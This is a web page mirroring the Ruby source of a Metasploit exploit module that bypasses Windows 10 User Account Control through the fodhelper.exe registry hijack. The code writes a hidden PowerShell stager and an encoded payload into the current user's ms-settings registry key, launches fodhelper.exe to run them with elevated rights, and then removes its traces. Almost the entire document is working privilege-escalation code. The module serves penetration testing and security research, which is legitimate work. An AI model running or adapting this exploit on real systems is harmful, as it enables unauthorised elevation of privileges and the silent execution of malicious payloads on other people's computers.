Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_fodhelper.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Exploit::Powershell
10
include Post::Windows::Priv
11
include Post::Windows::Registry
12
include Post::Windows::Runas
13
14
FODHELPER_DEL_KEY = 'HKCU\\Software\\Classes\\ms-settings'.freeze
15
FODHELPER_WRITE_KEY = 'HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command'.freeze
16
EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze
17
EXEC_REG_VAL = ''.freeze # This maps to "(Default)"
18
EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze
19
FODHELPER_PATH = '%WINDIR%\\System32\\fodhelper.exe'.freeze
20
CMD_MAX_LEN = 16383
21
22
def initialize(info = {})
23
super(
24
update_info(
25
info,
26
'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)',
27
'Description' => %q{
28
This module will bypass Windows 10 UAC by hijacking a special key in the Registry under
29
the current user hive, and inserting a custom command that will get invoked when
30
the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC
31
flag turned off.
32
33
This module modifies a registry key, but cleans up the key once the payload has
34
been invoked.
35
36
The module does not require the architecture of the payload to match the OS. If
37
specifying EXE::Custom your DLL should call ExitProcess() after starting your
38
payload in a separate process.
39
},
40
'License' => MSF_LICENSE,
41
'Author' => [
42
'winscriptingblog', # UAC bypass discovery and research
43
'amaloteaux', # MSF module
44
],
45
'Platform' => ['win'],
46
'SessionTypes' => ['meterpreter'],
47
'Targets' => [
48
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
49
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
50
],
51
'DefaultTarget' => 0,
52
'References' => [
53
['URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/'],
54
['URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1'],
55
['URL', 'https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/']
56
],
57
'DisclosureDate' => '2017-05-12',
58
'Compat' => {
59
'Meterpreter' => {
60
'Commands' => %w[
61
stdapi_sys_process_execute
62
]
63
}
64
},
65
'Notes' => {
66
'Reliability' => UNKNOWN_RELIABILITY,
67
'Stability' => UNKNOWN_STABILITY,
68
'SideEffects' => UNKNOWN_SIDE_EFFECTS
69
}
70
)
71
)
72
end
73
74
def check
75
version = get_version_info
76
if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled?
77
Exploit::CheckCode::Appears
78
else
79
Exploit::CheckCode::Safe
80
end
81
end
82
83
def exploit
84
commspec = '%COMSPEC%'
85
registry_view = REGISTRY_VIEW_NATIVE
86
psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'
87
88
# Make sure we have a sane payload configuration
89
if sysinfo['Architecture'] == ARCH_X64
90
if session.arch == ARCH_X86
91
# fodhelper.exe is x64 only exe
92
commspec = '%WINDIR%\\Sysnative\\cmd.exe'
93
if target_arch.first == ARCH_X64
94
# We can't use absolute path here as
95
# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session
96
psh_path = 'powershell.exe'
97
end
98
end
99
if target_arch.first == ARCH_X86
100
# Invoking x86, so switch to SysWOW64
101
psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'
102
end
103
elsif target_arch.first == ARCH_X64
104
# if we're on x86, we can't handle x64 payloads
105
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
106
end
107
108
if !payload.arch.empty? && (payload.arch.first != target_arch.first)
109
fail_with(Failure::BadConfig, 'payload and target should use the same architecture')
110
end
111
112
# Validate that we can actually do things before we bother
113
# doing any more work
114
check_permissions!
115
116
case get_uac_level
117
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
118
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
119
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
120
fail_with(Failure::NotVulnerable,
121
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
122
when UAC_DEFAULT
123
print_good('UAC is set to Default')
124
print_good('BypassUAC can bypass this setting, continuing...')
125
when UAC_NO_PROMPT
126
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
127
shell_execute_exe
128
return
129
end
130
131
payload_value = rand_text_alpha(8)
132
psh_path = expand_path(psh_path)
133
134
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
135
psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
136
137
if psh_payload.length > CMD_MAX_LEN
138
fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")
139
end
140
141
psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
142
cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
143
144
existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''
145
exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?
146
147
if existing.empty?
148
registry_createkey(FODHELPER_WRITE_KEY, registry_view)
149
end
150
151
print_status('Configuring payload and stager registry keys ...')
152
unless exist_delegate
153
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)
154
end
155
156
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
157
registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
158
159
# Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.
160
cmd_path = expand_path(commspec)
161
cmd_args = expand_path("/c #{FODHELPER_PATH}")
162
print_status("Executing payload: #{cmd_path} #{cmd_args}")
163
164
# We can't use cmd_exec here because it blocks, waiting for a result.
165
client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true })
166
167
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
168
# TODO: fix this up to use something smarter than a timeout?
169
Rex.sleep(5)
170
171
handler(client)
172
173
print_status('Cleaning up registry keys ...')
174
unless exist_delegate
175
registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)
176
end
177
if existing.empty?
178
registry_deletekey(FODHELPER_DEL_KEY, registry_view)
179
else
180
registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
181
end
182
registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view)
183
end
184
185
def check_permissions!
186
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
187
188
# Check if you are an admin
189
vprint_status('Checking admin status...')
190
admin_group = is_in_admin_group?
191
192
unless check == Exploit::CheckCode::Appears
193
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
194
end
195
196
unless is_in_admin_group?
197
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
198
end
199
200
print_status('UAC is Enabled, checking level...')
201
if admin_group.nil?
202
print_error('Either whoami is not there or failed to execute')
203
print_error('Continuing under assumption you already checked...')
204
elsif admin_group
205
print_good('Part of Administrators group! Continuing...')
206
else
207
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
208
end
209
210
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
211
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
212
end
213
end
214
end
215
216